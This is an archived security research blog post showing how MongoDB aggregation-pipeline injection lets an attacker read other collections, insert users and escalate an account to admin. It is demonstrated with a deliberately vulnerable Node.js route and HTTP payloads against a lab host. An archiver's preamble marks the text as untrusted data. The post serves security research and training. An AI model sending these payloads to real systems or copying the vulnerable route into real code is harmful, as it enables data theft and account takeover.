MongoDB NoSQL Injection with Aggregation Pipelines

MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili, soroush.me.

- Published: date not stated
- Original: <https://soroush.me/blog/mongodb-nosql-injection-with-aggregation-pipelines>
- Preserved from: https://soroush.me/blog/mongodb-nosql-injection-with-aggregation-pipelines (stored) on 2026-08-11
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

MongoDB NoSQL Injection with Aggregation Pipelines

[image: MongoDB NoSQL Injection with Aggregation Pipelines]

Story

Last August (2023), while assisting with the NoSQL lab module for PortSwigger Web Academy, I discovered that, in rare cases, it is possible to access other collections when performing an injection attack in MongoDB. This wasn't included in the training material due to its rarity and seemed more suited for a research topic. Although I've been busy since then and haven't had the chance to explore it further, I believe publishing my findings could still benefit some security researchers.

Background

If you are not familiar with NoSQL injection attacks, I recommend studying it through PortSwigger's Web Academy (https://portswigger.net/web-security/nosql-injection) to better understand the topic.

Here's a brief introduction to the problem we're tackling:

When a MongoDB NoSQL injection occurs, the data the user can access depends on where the vulnerability is and which collection is being used. For those familiar with traditional SQL

databases, think of "`collections`" in MongoDB as "`tables`", and "`documents`" as "`rows`". If the injection happens in the "`find`" method, data access is limited to the defined collection, which may not contain any sensitive data. This is why some clients might not consider a MongoDB NoSQL injection attack valuable.

This post explores a scenario where the "`aggregate`" function in MongoDB is exposed and vulnerable to NoSQL injection attacks, increasing the impact by allowing:

- Reading data from other collections
- Adding data
- Updating data

Details

A test case has been created to practice this in a VM, available at https://github.com/irsdl/vulnerable-node-app/. This is a modified version of a repository by Charlie Belmer to try different cases of NoSQL injection attacks.

Imagine a NoSQL injection attack where users cannot control the collection name via input parameters but can control an aggregate. Here's a vulnerable Node.js code example:

https://github.com/irsdl/vulnerable-node-app/blob/master/app/routes/product.route.js#L206

Copy

```
productRoutes.route('/lookup_agg').post(function(req, res) {
    let query = req.body;
    if (typeof query !== 'undefined' && Object.keys(query).length > 0) {
            console.log("request " + JSON.stringify(query));
            console.log("MongoDB query: " + JSON.stringify(query));
            Product.aggregate(query)
                .then(products => {
                    console.log("Data Retrieved: " + products);
                    res.json({products});
                })
                .catch(err => {
                    console.log(err);
                    res.json(err);
                });
    } else {
            res.json({});
    }
});

```

The following HTTP request and its JSON response show an example:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 53

[
 {
  "$match": {"name": "Apple Juice"}
 }
]
```

Response body:

Copy


```
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30
```


In this case, the vulnerability occurs in the “products” collection. Therefore, the following request to return all fields won’t result in much value:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 32

[
 {
  "$match": {}
 }
]
```

Response body:

Copy


```
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30
```


How to Identify if it's an Aggregate in Black-Box Testing?

In MongoDB, the aggregate method always expects an array of aggregation stages as its first argument. Therefore, look for JSON arrays as a parameter. The "`$match`" and "`$lookup`" operators in a JSON request can also indicate the use of the aggregate method.

Tricks for NoSQLi in Aggregates

Here are some tricks you can perform when dealing with NoSQLi in an aggregate. ChatGPT was quite helpful in explaining these examples during my testing!

A) Reading Data from Other Collections

A.1) Using $lookup with a Dummy Field:

It's possible to use "`$lookup`" to access other collections. The following HTTP request shows how the "users" collection could be accessed using this:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 200

[
 {
  "$lookup": {
   "from": "users",
    "localField": "Dummy-IdontExist",
    "foreignField": "Dummy-IdontExist",
    "as": "user_docs"
  }
 },
 {
  "$limit": 1
 }
]
```

Here, “`$lookup`” performs a left outer join to another collection, and “`$limit`” restricts the number of documents. The limit was used to avoid repeating all users per product. We only want all users once!

Response body snippet was:

Copy

1{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30

If dummy fields are not ideal, we can use the "`__v`" field, which is automatically created by Mongoose, an Object Data Modelling (ODM) library for MongoDB and Node.js. This field is used to store the version of the document for internal purposes, particularly for handling document updates and preventing concurrent modifications.

A.2) Using Union

"`$unionWith`" combines the results of separate queries into one array, similar to "`union all`" in a traditional SQL database. We can use it to get users' data like this:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 229

[{
  "$match": {"foo":"bar"}
 },
 {
  "$unionWith": {
   "coll": "users",
   "pipeline": [
    {
     "$addFields": {
      "collection": "users"
     }
    }
   ]
  }
 }
]
```

“ `$match` ” was used with dummy data as we are not interested in seeing the products’ fields!

If using dummy data is not ideal, the following can be used instead:

Copy

```
{
  "$match":{"_id":{"$exists":false}}
}
```

B) Adding/Inserting Data

Injection via aggregates can also be used to create new documents or collections, or to rewrite existing ones. However, testers will still need to guess the data schema and some of their values before adding any data.

The following HTTP request shows an example of how a new user could be added to the database:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 434

[
 {
  "$limit": 1
 },
 {
  "$replaceWith": {
   "username": "newUser",
   "first_name": "New",
   "last_name": "User",
   "email": "[email protected]",
   "role": "user",
   "password": "password123",
   "locked": false,
   "resetPasswordToken": ""
  }
 },
 {
```

```
23   "$merge": {
24     "into": "users",
25     "whenMatched": "merge",
26     "whenNotMatched": "insert"
27   }
28 }
29]
```

This can then be verified by getting a list of users from the users collection.

Note: Ensure that the limit is used as shown above to prevent adding multiple documents to the database!

C) Updating Data

The aggregate method in MongoDB also allows changing data in different collections.

To modify data with "`$replaceWith`", the "`_id`" field of the target document is needed. The following HTTP request shows how a user's data could be modified in the designed lab:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 379

[
 {
  "$limit": 1
 },
 {
  "$replaceWith": {
   "_id": { "$toObjectId": "66773d7c85bf15c9d920fe97" },
   "role":"admin",
   "password": "NewPassword123?",
   "locked": false,
   "resetPasswordToken": "1234567890"
  }
 },
 {
  "$merge": {
   "into": "users",
   "whenMatched": "merge",
```

```
    "whenNotMatched": "fail"
  }
}
]
```

The “ `_id` ” field could be obtained by sending the following JSON request:

Copy

```
[
 {
  "$unionWith": {
   "coll": "users"
  }
 },
 {
  "$match": { "username": "carlos" }
 },
 {
  "$project": {
   "_id": 1
  }
 }
]
```

However, if we do not have the “ `_id` ” field, modification is still possible using the following HTTP request as an example:

Copy

```
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 421

[
 {
  "$unionWith": {
   "coll": "users"
  }
 },
 {
  "$match": { "username": "carlos" }
 },
 {
  "$set": {
   "role": "admin",
   "password": "NewPassword123! ",
   "locked": false,
   "resetPasswordToken": "1234567890"
  }
 },
```

```
23 {
24   "$merge": {
25     "into": "users",
26     "on": "_id",
27     "whenMatched": "merge",
28     "whenNotMatched": "fail"
29   }
30 }
31]
```

This approach uses “`$unionWith"` to include documents from the “users” collection, matches the specific user document by username, updates the fields, and finally merges the updated document back into the users collection. It’s crucial to mention that if multiple fields are matched, they will all be updated, which might corrupt the data. Therefore, avoid using Regular Expressions or a matching rule that might select more than one document in a collection.

Some Thoughts for Further Research

I have not found a method to delete a document from a collection using aggregate. It would be interesting if someone could figure out how to delete Carlos!

In the MongoDB Aggregation Framework, the “`$function`” and “`$accumulator`” operators can run JavaScript, which may be useful in certain cases.

There are many other MongoDB methods that could be exposed by mistake and then exploited by NoSQL injection attacks. For instance, I haven’t seen much research on methods such as “`updateMany`” or “`updateOne`” (NoSQLi when updating documents). It would be interesting to see what happens when these methods are exposed and how they can be abused to increase the impact.